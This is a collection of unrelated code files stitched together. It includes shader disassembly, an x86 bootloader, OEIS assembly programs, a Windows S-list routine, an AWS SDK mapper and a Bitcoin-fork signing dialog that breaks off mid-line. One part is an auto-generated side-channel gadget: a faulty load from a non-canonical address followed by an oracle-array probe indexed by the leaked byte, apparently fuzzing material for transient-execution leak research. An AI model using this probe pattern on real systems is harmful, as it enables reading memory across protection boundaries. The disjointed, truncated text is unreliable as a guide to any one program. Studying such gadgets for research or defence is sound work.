%1423 = OpLoad %10 %1422 %1425 = OpAccessChain %30 %27 %1424 %1426 = OpLoad %10 %1425 %1428 = OpAccessChain %30 %27 %1427 %1429 = OpLoad %10 %1428 %1430 = OpCompositeConstruct %11 %1421 %1423 %1426 %1429 %1431 = OpCompositeExtract %10 %1430 0 %1432 = OpFOrdLessThan %6 %1431 %33 OpSelectionMerge %1434 None OpBranchConditional %1432 %1433 %1434 %1433 = OpLabel OpStore %13 %1439 OpBranch %1434 %1434 = OpLabel OpBranch %1326 %1326 = OpLabel OpSelectionMerge %1441 None OpBranchConditional %7 %1440 %1441 %1440 = OpLabel OpSelectionMerge %1443 None OpBranchConditional %7 %1442 %1443 %1442 = OpLabel %1447 = OpExtInst %11 %1 Atanh %1446 OpStore %13 %1447 OpBranch %1443 %1443 = OpLabel OpSelectionMerge %1449 None OpBranchConditional %7 %1448 %1449 %1448 = OpLabel OpStore %13 %1454 OpBranch %1449 %1449 = OpLabel %1455 = OpAccessChain %30 %27 %68 %1456 = OpLoad %10 %1455 %1457 = OpFOrdLessThan %6 %1456 %33 %1458 = OpLogicalAnd %6 %1457 %186 OpSelectionMerge %1460 None OpBranchConditional %1458 %1459 %1460 %1459 = OpLabel OpStore %13 %1465 OpBranch %1460 %1460 = OpLabel OpStore %13 %1469 OpBranch %1441 %1441 = OpLabel %1470 = OpAccessChain %30 %27 %68 %1471 = OpLoad %10 %1470 %1472 = OpFOrdLessThan %6 %1471 %33 OpSelectionMerge %1474 None OpBranchConditional %1472 %1473 %1474 %1473 = OpLabel %1480 = OpExtInst %11 %1 Cosh %1479 OpStore %13 %1480 OpBranch %1474 %1474 = OpLabel OpSelectionMerge %1482 None OpBranchConditional %7 %1481 %1482 %1481 = OpLabel OpStore %13 %1487 OpBranch %1482 %1482 = OpLabel %1488 = OpLoad %56 %510 %1490 = OpIAdd %56 %1488 %1489 OpStore %510 %1490 OpSelectionMerge %1492 None OpBranchConditional %7 %1491 %1492 %1491 = OpLabel OpStore %13 %1495 OpBranch %1492 %1492 = OpLabel OpSelectionMerge %1497 None OpBranchConditional %7 %1496 %1497 %1496 = OpLabel OpSelectionMerge %1499 None OpBranchConditional %186 %1498 %1499 %1498 = OpLabel %1500 = OpAccessChain %30 %27 %29 %1501 = OpLoad %10 %1500 %1502 = OpFOrdLessThan %6 %1501 %33 %1503 = OpCompositeConstruct %195 %1502 %186 %186 %1504 = OpCompositeExtract %6 %1503 0 OpBranch %1499 %1499 = OpLabel %1505 = OpPhi %6 %186 %1496 %1504 %1498 OpSelectionMerge %1507 None OpBranchConditional %1505 %1506 %1507 %1506 = OpLabel OpStore %13 %1510 OpSelectionMerge %1512 None OpBranchConditional %7 %1511 %1512 %1511 = OpLabel OpStore %13 %1515 OpBranch %1512 %1512 = OpLabel OpBranch %1507 %1507 = OpLabel OpStore %13 %1519 OpBranch %1497 %1497 = OpLabel OpSelectionMerge %1521 None OpBranchConditional %7 %1520 %1521 %1520 = OpLabel %1522 = OpAccessChain %65 %63 %64 %29 %1523 = OpLoad %10 %1522 %1524 = OpAccessChain %65 %63 %64 %68 %1525 = OpLoad %10 %1524 %1526 = OpFOrdLessThan %6 %1523 %1525 OpSelectionMerge %1528 None OpBranchConditional %1526 %1527 %1528 %1527 = OpLabel %1529 = OpLogicalNot %6 %7 OpSelectionMerge %1531 None OpBranchConditional %1529 %1530 %1531 %1530 = OpLabel %1532 = OpAccessChain %30 %27 %68 %1533 = OpLoad %10 %1532 %1534 = OpFOrdLessThan %6 %1533 %33 OpBranch %1531 %1531 = OpLabel %1535 = OpPhi %6 %7 %1527 %1534 %1530 OpBranch %1528 %1528 = OpLabel %1536 = OpPhi %6 %1526 %1520 %1535 %1531 OpSelectionMerge %1538 None OpBranchConditional %1536 %1537 %1538 %1537 = OpLabel OpSelectionMerge %1540 None OpBranchConditional %7 %1539 %1540 %1539 = OpLabel OpSelectionMerge %1542 None OpBranchConditional %7 %1541 %1542 %1541 = OpLabel OpStore %13 %1546 OpBranch %1542 %1542 = OpLabel OpStore %13 %1551 OpBranch %1540 %1540 = OpLabel OpStore %13 %1555 OpBranch %1538 %1538 = OpLabel OpStore %13 %1560 %1561 = OpAccessChain %30 %27 %29 %1562 = OpLoad %10 %1561 %1563 = OpFOrdLessThan %6 %1562 %33 %1564 = OpCompositeConstruct %359 %1563 %7 %1565 = OpCompositeExtract %6 %1564 0 OpSelectionMerge %1567 None OpBranchConditional %1565 %1566 %1567 %1566 = OpLabel OpSelectionMerge %1569 None OpBranchConditional %7 %1568 %1569 %1568 = OpLabel OpStore %13 %1574 OpBranch %1569 %1569 = OpLabel OpStore %13 %1577 OpBranch %1567 %1567 = OpLabel OpSelectionMerge %1579 None OpBranchConditional %7 %1578 %1579 %1578 = OpLabel OpSelectionMerge %1581 None OpBranchConditional %7 %1580 %1581 %1580 = OpLabel OpSelectionMerge %1583 None OpBranchConditional %7 %1582 %1583 %1582 = OpLabel OpStore %13 %1586 OpBranch %1583 %1583 = OpLabel OpStore %13 %1590 OpSelectionMerge %1592 None OpBranchConditional %7 %1591 %1592 %1591 = OpLabel OpStore %13 %1596 OpBranch %1592 %1592 = OpLabel OpBranch %1581 %1581 = OpLabel OpStore %13 %1600 %1601 = OpAccessChain %65 %63 %64 %68 %1602 = OpLoad %10 %1601 %1603 = OpAccessChain %65 %63 %64 %68 %1604 = OpLoad %10 %1603 %1605 = OpAccessChain %65 %63 %64 %68 %1606 = OpLoad %10 %1605 %1607 = OpAccessChain %65 %63 %64 %68 %1608 = OpLoad %10 %1607 %1609 = OpCompositeConstruct %11 %1602 %1604 %1606 %1608 %1610 = OpFDiv %11 %1600 %1609 OpSelectionMerge %1612 None OpBranchConditional %7 %1611 %1612 %1611 = OpLabel OpStore %13 %1617 OpBranch %1612 %1612 = OpLabel OpBranch %1579 %1579 = OpLabel %1618 = OpAccessChain %65 %63 %64 %29 %1619 = OpLoad %10 %1618 %1620 = OpAccessChain %65 %63 %64 %68 %1621 = OpLoad %10 %1620 %1622 = OpFOrdGreaterThan %6 %1619 %1621 OpSelectionMerge %1624 None OpBranchConditional %1622 %1623 %1624 %1623 = OpLabel %1625 = OpAccessChain %65 %63 %64 %29 %1626 = OpLoad %10 %1625 %1627 = OpAccessChain %65 %63 %64 %68 %1628 = OpLoad %10 %1627 %1629 = OpFOrdGreaterThan %6 %1626 %1628 OpSelectionMerge %1631 None OpBranchConditional %1629 %1630 %1631 %1630 = OpLabel %1638 = OpBitcast %11 %1637 OpStore %13 %1638 OpBranch %1631 %1631 = OpLabel OpStore %13 %1643 OpBranch %1624 %1624 = OpLabel %1644 = OpAccessChain %30 %27 %68 %1645 = OpLoad %10 %1644 %1646 = OpFOrdLessThan %6 %1645 %33 %1647 = OpLogicalNot %6 %1646 %1648 = OpLogicalNot %6 %1647 OpSelectionMerge %1650 None OpBranchConditional %1648 %1649 %1650 %1649 = OpLabel OpStore %13 %1654 %1655 = OpAccessChain %30 %27 %68 %1656 = OpLoad %10 %1655 %1657 = OpFOrdLessThan %6 %1656 %33 OpSelectionMerge %1659 None OpBranchConditional %1657 %1658 %1659 %1658 = OpLabel OpStore %13 %1662 OpBranch %1659 %1659 = OpLabel OpBranch %1650 %1650 = OpLabel OpBranch %1521 %1521 = OpLabel %1663 = OpAccessChain %30 %27 %68 %1664 = OpLoad %10 %1663 %1665 = OpFOrdLessThan %6 %1664 %33 OpSelectionMerge %1667 None OpBranchConditional %1665 %1666 %1667 %1666 = OpLabel OpStore %13 %1671 OpBranch %1667 %1667 = OpLabel %1672 = OpAccessChain %65 %63 %64 %29 %1673 = OpLoad %10 %1672 %1674 = OpAccessChain %65 %63 %64 %68 %1675 = OpLoad %10 %1674 %1676 = OpFSub %10 %1675 %33 %1677 = OpFOrdGreaterThan %6 %1673 %1676 OpSelectionMerge %1679 None OpBranchConditional %1677 %1678 %1679 %1678 = OpLabel OpStore %13 %1683 OpSelectionMerge %1685 None OpBranchConditional %7 %1684 %1685 %1684 = OpLabel OpStore %13 %1689 %1690 = OpFAdd %11 %668 %1689 OpBranch %1685 %1685 = OpLabel OpBranch %1679 %1679 = OpLabel OpBranch %846 %846 = OpLabel OpBranch %843 %845 = OpLabel %1691 = OpAccessChain %65 %63 %64 %29 %1692 = OpLoad %10 %1691 %1693 = OpAccessChain %65 %63 %64 %68 %1694 = OpLoad %10 %1693 %1695 = OpFOrdGreaterThan %6 %1692 %1694 OpSelectionMerge %1697 None OpBranchConditional %1695 %1696 %1697 %1696 = OpLabel OpStore %13 %1700 OpBranch %1697 %1697 = OpLabel OpSelectionMerge %1702 None OpBranchConditional %7 %1701 %1702 %1701 = OpLabel OpStore %13 %1705 OpBranch %1702 %1702 = OpLabel %1706 = OpLoad %56 %510 %1707 = OpISub %56 %1706 %64 %1708 = OpConvertSToF %10 %1707 %1710 = OpFMul %10 %1708 %1709 %1711 = OpCompositeConstruct %593 %1710 %1710 %1710 %1712 = OpCompositeExtract %10 %1711 0 %1713 = OpCompositeExtract %10 %1711 1 %1714 = OpCompositeExtract %10 %1711 2 %1715 = OpCompositeConstruct %11 %1712 %1713 %1714 %288 OpStore %13 %1715 OpSelectionMerge %1717 None OpBranchConditional %7 %1716 %1717 %1716 = OpLabel %1719 = OpExtInst %11 %1 Tanh %1718 OpStore %13 %1719 OpBranch %1717 %1717 = OpLabel OpReturn OpFunctionEnd
extern m7_ippsDLPValidateDH:function extern n8_ippsDLPValidateDH:function extern y8_ippsDLPValidateDH:function extern e9_ippsDLPValidateDH:function extern l9_ippsDLPValidateDH:function extern n0_ippsDLPValidateDH:function extern k0_ippsDLPValidateDH:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsDLPValidateDH .Larraddr_ippsDLPValidateDH: dq m7_ippsDLPValidateDH dq n8_ippsDLPValidateDH dq y8_ippsDLPValidateDH dq e9_ippsDLPValidateDH dq l9_ippsDLPValidateDH dq n0_ippsDLPValidateDH dq k0_ippsDLPValidateDH segment .text global ippsDLPValidateDH:function (ippsDLPValidateDH.LEndippsDLPValidateDH - ippsDLPValidateDH) .Lin_ippsDLPValidateDH: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsDLPValidateDH: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsDLPValidateDH] mov r11, qword [r11+rax*8] jmp r11 .LEndippsDLPValidateDH:
; Make switch to 32-bit protected [bits 16] protected_mode_enter: cli ; Disable interrupts lgdt [gdt_descriptor] mov eax, cr0 ; Fetch cr0 register or eax, 0x1 ; set first bit mov cr0, eax ; and store it back ; Perform far jump to protected mode jmp CODE_SEG:protected_mode_init %include "src/bootloader/GDT.asm" [bits 32] protected_mode_init: mov ax, DATA_SEG mov ds, ax mov ss, ax mov es, ax mov fs, ax mov gs, ax mov ebp, 0x90000 ; Update stack so it at the top mov esp, ebp ; of the free space protected_mode_begin: mov ebx, protected_mode_message call print_str_32 ; Enable A20 in al, 0x92 or al, 2 out 0x92, al ; Switch to Long Mode call cpuid_detect ; Detect cpuid call long_mode_detect ; Detect long mode call paging_identity_setup ; Set up identity paging call gdt_edit_long_mode ; Set up GDT for long mode jmp CODE_SEG:long_mode_init %include "src/bootloader/print_str_32bit.asm" %include "src/bootloader/CPUID.asm" %include "src/bootloader/paging.asm" protected_mode_message: db "Entered 32bit protected mode", 0 [bits 64] [extern _start] long_mode_init: mov ax, DATA_SEG ; Update segments mov ds, ax mov ss, ax mov es, ax mov fs, ax mov gs, ax mov ebp, 0x90000 ; Update stack so it at the top mov esp, ebp ; of the free space long_mode_begin: mov edi, 0xb8000 mov rax, 0x1f201f201f201f20 mov ecx, 500 rep stosq call _start jmp $
; A023473: n-31. ; -31,-30,-29,-28,-27,-26,-25,-24,-23,-22,-21,-20,-19,-18,-17,-16,-15,-14,-13,-12,-11,-10,-9,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 sub $0,31 mov $1,$0
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ----- void __CALLEE__ setpos(int x2, int y2) ; ; $Id: w_setpos_callee.asm $ ; SECTION code_graphics PUBLIC setpos_callee PUBLIC _setpos_callee PUBLIC ASMDISP_SETPOS_CALLEE EXTERN w_setxy .setpos_callee ._setpos_callee pop af ; ret addr pop de pop hl push af ; ret addr .asmentry jp w_setxy DEFC ASMDISP_SETPOS_CALLEE = asmentry - setpos_callee
; A052942: Expansion of 1/((1+x)*(1-2*x+2*x^2-2*x^3)). ; 1,1,1,1,3,5,7,9,15,25,39,57,87,137,215,329,503,777,1207,1865,2871,4425,6839,10569,16311,25161,38839,59977,92599,142921,220599,340553,525751,811593,1252791,1933897,2985399,4608585,7114167,10981961,16952759,26169929,40398263,62362185,96267703,148607561,229404087,354128457,546663863,843878985,1302687159,2010944073,3104271799,4792029769,7397404087,11419292233,17627835831,27211895369,42006703543,64845288009,100100959671,154524750409,238538157495,368228733513,568430652855,877480153673,1354556468663,2091013935689,3227875241399,4982835548745,7691948486071,11873976357449,18329726840247,28295397937737,43679294909879,67427247624777,104086701305271,160677497180745,248036087000503,382890582250057,591063984860599,912418979222089,1408491153223095,2174272317723209,3356400287444407,5181238245888585,7998220552334775,12346765187781193,19059565762670007,29422042254447177,45418483359116727,70112013734679113,108231145260019127,167075229768913481,257912196487146935,398136223956505161,614598514476543415,948748974014370377,1464573366988664247,2260845814901674569 lpb $0 mov $2,$0 sub $0,2 seq $2,78003 ; Expansion of (1-x)/(1-2*x+2*x^2-2*x^3). add $1,$2 lpe add $1,1 mov $0,$1
SECTION code_fp_am9511 PUBLIC cosh EXTERN cam32_sccz80_cosh defc cosh = cam32_sccz80_cosh ; SDCC bridge for Classic IF __CLASSIC PUBLIC _cosh EXTERN cam32_sdcc_dcc_cosh defc _cosh = cam32_sdcc_dcc_cosh ENDIF
title "Interlocked Support" ;++ ; ; Copyright (c) 1996 Microsoft Corporation ; ; Module Name: ; ; slist.asm ; ; Abstract: ; ; This module implements functions to support interlocked S-List ; operations. ; ; Author: ; ; David N. Cutler (davec) 13-Mar-1996 ; ; Environment: ; ; Any mode. ; ; Revision History: ; ;-- .386p .xlist include ks386.inc include callconv.inc ; calling convention macros include mac386.inc .list _TEXT$00 SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING page , 132 subttl "Interlocked Pop Entry Sequenced List" ;++ ; ; PVOID ; FASTCALL ; RtlpInterlockedPopEntrySList ( ; IN PSLIST_HEADER ListHead ; ) ; ; Routine Description: ; ; This function removes an entry from the front of a sequenced singly ; linked list so that access to the list is synchronized in an MP system. ; If there are no entries in the list, then a value of NULL is returned. ; Otherwise, the address of the entry that is removed is returned as the ; function value. ; ; Arguments: ; ; (ecx) = ListHead - Supplies a pointer to the sequenced listhead from ; which an entry is to be removed. ; ; Return Value: ; ; The address of the entry removed from the list, or NULL if the list is ; empty. ; ;-- cPublicFastCall RtlpInterlockedPopEntrySList, 1 cPublicFpo 0,2 ; ; Save nonvolatile registers and read the listhead sequence number followed ; by the listhead next link. ; ; N.B. These two dwords MUST be read exactly in this order. ; push ebx ; save nonvolatile registers push ebp ; mov ebp, ecx ; save listhead address mov edx,[ebp] + 4 ; get current sequence number mov eax,[ebp] + 0 ; get current next link ; ; If the list is empty, then there is nothing that can be removed. ; Epop10: or eax, eax ; check if list is empty jz short Epop20 ; if z set, list is empty mov ecx, edx ; copy sequence number and depth add ecx, 0FFFFH ; adjust sequence number and depth ; ; N.B. It is possible for the following instruction to fault in the rare ; case where the first entry in the list is allocated on another ; processor and free between the time the free pointer is read above ; and the following instruction. When this happens, the access fault ; code continues execution by skipping the following instruction. ; This results in the compare failing and the entire operation is ; retried. ; mov ebx, [eax] ; get address of successor entry .586 lock cmpxchg8b qword ptr [ebp] ; compare and exchange .386 jnz short Epop10 ; if z clear, exchange failed ; ; Restore nonvolatile registers and return result. ; cPublicFpo 0,0 Epop20: pop ebp ; restore nonvolatile registers pop ebx ; fstRET RtlpInterlockedPopEntrySList fstENDP RtlpInterlockedPopEntrySList page , 132 subttl "Interlocked Push Entry Sequenced List" ;++ ; ; PVOID ; FASTCALL ; RtlpInterlockedPushEntrySList ( ; IN PSLIST_HEADER ListHead, ; IN PVOID ListEntry ; ) ; ; Routine Description: ; ; This function inserts an entry at the head of a sequenced singly linked ; list so that access to the list is synchronized in an MP system. ; ; Arguments: ; ; (ecx) ListHead - Supplies a pointer to the sequenced listhead into which ; an entry is to be inserted. ; ; (edx) ListEntry - Supplies a pointer to the entry to be inserted at the ; head of the list. ; ; Return Value: ; ; Previous contents of ListHead. NULL implies list went from empty ; to not empty. ; ;-- cPublicFastCall RtlpInterlockedPushEntrySList, 2 cPublicFpo 0,2 ; ; Save nonvolatile registers and read the listhead sequence number followed ; by the listhead next link. ; ; N.B. These two dwords MUST be read exactly in this order. ; push ebx ; save nonvolatile registers push ebp ; mov ebp, ecx ; save listhead address mov ebx, edx ; save list entry address mov edx,[ebp] + 4 ; get current sequence number mov eax,[ebp] + 0 ; get current next link Epsh10: mov [ebx], eax ; set next link in new first entry mov ecx, edx ; copy sequence number add ecx, 010001H ; increment sequence number and depth .586 lock cmpxchg8b qword ptr [ebp] ; compare and exchange .386 jnz short Epsh10 ; if z clear, exchange failed ; ; Restore nonvolatile registers and return result. ; cPublicFpo 0,0 pop ebp ; restore nonvolatile registers pop ebx ; fstRET RtlpInterlockedPushEntrySList fstENDP RtlpInterlockedPushEntrySList _TEXT$00 ends end
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/comprehendmedical/model/RxNormTraitName.h> #include <aws/core/utils/HashingUtils.h> #include <aws/core/Globals.h> #include <aws/core/utils/EnumParseOverflowContainer.h> using namespace Aws::Utils; namespace Aws { namespace ComprehendMedical { namespace Model { namespace RxNormTraitNameMapper { static const int NEGATION_HASH = HashingUtils::HashString("NEGATION"); RxNormTraitName GetRxNormTraitNameForName(const Aws::String& name) { int hashCode = HashingUtils::HashString(name.c_str()); if (hashCode == NEGATION_HASH) { return RxNormTraitName::NEGATION; } EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer(); if(overflowContainer) { overflowContainer->StoreOverflow(hashCode, name); return static_cast<RxNormTraitName>(hashCode); } return RxNormTraitName::NOT_SET; } Aws::String GetNameForRxNormTraitName(RxNormTraitName enumValue) { switch(enumValue) { case RxNormTraitName::NEGATION: return "NEGATION"; default: EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer(); if(overflowContainer) { return overflowContainer->RetrieveOverflow(static_cast<int>(enumValue)); } return {}; } } } // namespace RxNormTraitNameMapper } // namespace Model } // namespace ComprehendMedical } // namespace Aws
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1203a, %r8 nop nop nop nop and $63, %r10 mov $0x6162636465666768, %r13 movq %r13, %xmm5 movups %xmm5, (%r8) nop nop nop add $25497, %r15 lea addresses_D_ht+0x59b1, %rbx clflush (%rbx) nop nop sub %r11, %r11 movw $0x6162, (%rbx) nop nop sub %r8, %r8 lea addresses_WC_ht+0x1da8e, %r12 nop dec %r13 mov (%r12), %rbx nop nop nop nop sub $31775, %r12 lea addresses_WT_ht+0x6222, %r8 nop nop nop nop and %r11, %r11 vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r10 nop nop xor $37604, %r13 lea addresses_D_ht+0x1b23c, %rsi lea addresses_WT_ht+0x1b622, %rdi nop and $26859, %r13 mov $104, %rcx rep movsb cmp $52494, %r15 lea addresses_WT_ht+0x13222, %rsi lea addresses_UC_ht+0x3de2, %rdi nop nop sub %r13, %r13 mov $123, %rcx rep movsw nop nop nop inc %r12 lea addresses_WT_ht+0x15e22, %r10 nop nop dec %r11 movw $0x6162, (%r10) nop nop nop dec %r11 lea addresses_UC_ht+0xcede, %r15 nop nop nop nop nop add %r11, %r11 and $0xffffffffffffffc0, %r15 movntdqa (%r15), %xmm0 vpextrq $1, %xmm0, %rcx nop nop nop nop nop inc %rbx lea addresses_UC_ht+0x177c2, %r11 nop nop nop add %r13, %r13 mov $0x6162636465666768, %r12 movq %r12, %xmm3 and $0xffffffffffffffc0, %r11 movaps %xmm3, (%r11) nop nop nop nop nop xor %r11, %r11 lea addresses_normal_ht+0x16e62, %rsi nop inc %r15 mov $0x6162636465666768, %r11 movq %r11, (%rsi) add %r8, %r8 lea addresses_WT_ht+0x17422, %rsi nop nop nop nop nop mfence mov $0x6162636465666768, %r12 movq %r12, (%rsi) nop and $35808, %r10 lea addresses_UC_ht+0x119f2, %rsi lea addresses_WC_ht+0x1807b, %rdi nop nop nop nop nop cmp $37184, %r12 mov $52, %rcx rep movsb nop nop sub %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r15 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_A+0x1dbea, %r11 nop nop nop sub $45771, %r14 mov $0x5152535455565758, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%r11) dec %r10 // Store lea addresses_normal+0x11cde, %r15 nop nop nop nop nop sub %rdi, %rdi movw $0x5152, (%r15) add %r15, %r15 // Store lea addresses_WT+0xff82, %r11 clflush (%r11) nop nop add %r10, %r10 movb $0x51, (%r11) nop sub $3179, %r10 // Store lea addresses_UC+0x2a62, %rcx nop and $44097, %rdi mov $0x5152535455565758, %r14 movq %r14, %xmm6 movups %xmm6, (%rcx) sub $9000, %r15 // Store lea addresses_A+0x6822, %rdx nop nop nop nop sub $38034, %r10 movb $0x51, (%rdx) nop nop sub $53180, %rcx // REPMOV lea addresses_WT+0x15a22, %rsi lea addresses_A+0x14622, %rdi and %r14, %r14 mov $2, %rcx rep movsl nop nop nop nop sub $23541, %rdx // Faulty Load mov $0x7a50be0000000a22, %r11 nop nop xor $32217, %rcx movups (%r11), %xmm1 vpextrq $1, %xmm1, %rdi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_WT', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 10, 'same': False}} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16, 'NT': True, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'fe': 9, '46': 24, 'ff': 4} 46 ff 46 46 46 46 46 46 46 46 ff 46 46 46 46 46 46 ff fe fe 46 fe fe 46 ff fe fe fe fe fe 46 46 46 46 46 46 46 */
// Copyright (c) 2011-2013 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "signverifymessagedialog.h" #include "ui_signverifymessagedialog.h" #include "addressbookpage.h" #include "base58.h" #include "guiutil.h" #include "init.h" #include "main.h" #include "optionsmodel.h" #include "walletmodel.h" #include "wallet.h" #include <QClipboard> #include <string> #include <vector> SignVerifyMessageDialog::SignVerifyMessageDialog(QWidget *parent) : QDialog(parent), ui(new Ui::SignVerifyMessageDialog), model(0) { ui->setupUi(this); #if (QT_VERSION >= 0x040700) /* Do not move this to the XML file, Qt before 4.7 will choke on it */ ui->addressIn_SM->setPlaceholderText(tr("Enter a Opioid address (e.g. Der4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)")); ui->signatureOut_SM->setPlaceholderText(tr("Click \"Sign Message\" to generate signature")); ui->addressIn_VM->setPlaceholderText(tr("Enter a Opioid address (e.g. Der4HNAEfwYhBmGXcFP2Po1NpRUEiK8km2)")); ui->signatureIn_VM->setPlaceholderText(tr("Enter Opioid signature")); #endif GUIUtil::setupAddressWidget(ui->addressIn_SM, this); GUIUtil::setupAddressWidget(ui->addressIn_VM, this); ui->addressIn_SM->installEventFilter(this); ui->messageIn_SM->installEventFilter(this); ui->signatureOut_SM->installEventFilter(this); ui->addressIn_VM->installEventFilter(this); ui->messageIn_VM->installEventFilter(this); ui->signatureIn_VM->installEventFilter(this); ui->signatureOut_SM->setFont(GUIUtil::bitcoinAddressFont()); ui->signatureIn_VM->setFont(GUIUtil::bitcoinAddressFont()); } SignVerifyMessageDialog::~SignVerifyMessageDialog() { delete ui; } void SignVerifyMessageDialog::setModel(WalletModel *model) { this->model = model; } void SignVerifyMessageDialog::setAddress_SM(const QString &address) { ui->addressIn_SM->setText(address); ui->messageIn_SM->setFocus(); } void SignVerifyMessageDialog::setAddress_VM(const QString &address) { ui->addressIn_VM->setText(address); ui->messageIn_VM->setFocus(); } void SignVerifyMessageDialog::showTab_SM(bool fShow) { ui->tabWidget->setCurrentIndex(0); if (fShow) this->show(); } void SignVerifyMessageDialog::showTab_VM(bool fShow) { ui->tabWidget->setCurrentIndex(1); if (fShow) this->show(); } void SignVerifyMessageDialog::on_addressBookButton_SM_clicked() { if (model && model->getAddressTableModel()) { AddressBookPage dlg(AddressBookPage::ForSending, AddressBookPage::ReceivingTab, this); dlg.setModel(model->getAddressTableModel()); if (dlg.exec()) { setAddress_SM(dlg.getReturnValue()); } } } void SignVerifyMessageDialog::on_pasteButton_SM_clicked() { setAddress_SM(QApplication::clipboard()->text()); } void SignVerifyMessageDialog::on_signMessageButton_SM_clicked() { /* Clear old signature to ensure users don't get confused on error with an old signature displayed */ ui->signatureOut_SM->clear(); CBitcoinAddress addr(ui->addressIn_SM->text().toStdString()); if (!addr.IsValid()) { ui->addressIn_SM->setValid(false); ui->statusLabel_SM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_SM->setText(tr("The entered address is invalid.") + QString(" ") + tr("Please check the address and try again.")); return; } CKeyID keyID; if (!addr.GetKeyID(keyID)) { ui->addressIn_SM->setValid(false); ui->statusLabel_SM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_SM->setText(tr("The entered address does not refer to a key.") + QString(" ") + tr("Please check the address and try again.")); return; } WalletModel::UnlockContext ctx(model->requestUnlock()); if (!ctx.isValid()) { ui->statusLabel_SM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_SM->setText(tr("Wallet unlock was cancelled.")); return; } CKey key; if (!pwalletMain->GetKey(keyID, key)) { ui->statusLabel_SM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_SM->setText(tr("Private key for the entered address is not available.")); return; } CDataStream ss(SER_GETHASH, 0); ss << strMessageMagic; ss << ui->messageIn_SM->document()->toPlainText().toStdString(); std::vector<unsigned char> vchSig; if 